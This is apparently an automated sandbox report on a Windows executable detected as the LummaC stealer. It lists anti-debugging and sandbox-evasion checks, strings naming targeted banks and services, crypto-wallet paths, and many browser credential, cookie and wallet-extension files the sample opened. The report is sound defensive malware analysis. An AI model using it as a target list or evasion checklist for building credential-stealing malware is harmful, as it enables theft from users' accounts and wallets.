Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: BTn1AT2k3Y.exe, 00000000.00000002.1206185711.0000000000AC6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: BTn1AT2k3Y.exe, 00000000.00000003.957771823.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: NTICE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: SICE
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Code function: 0_2_00936195 rdtsc

0_2_00936195

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Code function: 0_2_00919660 LdrInitializeThunk,

0_2_00919660

Source: BTn1AT2k3Y.exe, BTn1AT2k3Y.exe, 00000000.00000002.1206404356.0000000000B08000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ZProgram Manager

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BTn1AT2k3Y.exe, 00000000.00000003.1105001535.00000000012E9000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077284092.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1076600307.000000000129C000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104407496.00000000012F0000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000002.1208488677.000000000129E000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104811202.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104407496.00000000012FB000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1104811202.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077361195.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, BTn1AT2k3Y.exe, 00000000.00000003.1077554847.00000000012EF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BTn1AT2k3Y.exe PID: 6576, type: MEMORYSTR
Source: Yara match	File source: 0.2.BTn1AT2k3Y.exe.8d0000.0.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: BTn1AT2k3Y.exe, 00000000.00000003.1045114934.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BTn1AT2k3Y.exe, 00000000.00000003.1045114934.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: BTn1AT2k3Y.exe, 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BTn1AT2k3Y.exe, 00000000.00000003.1045114934.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BTn1AT2k3Y.exe, 00000000.00000003.1045114934.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
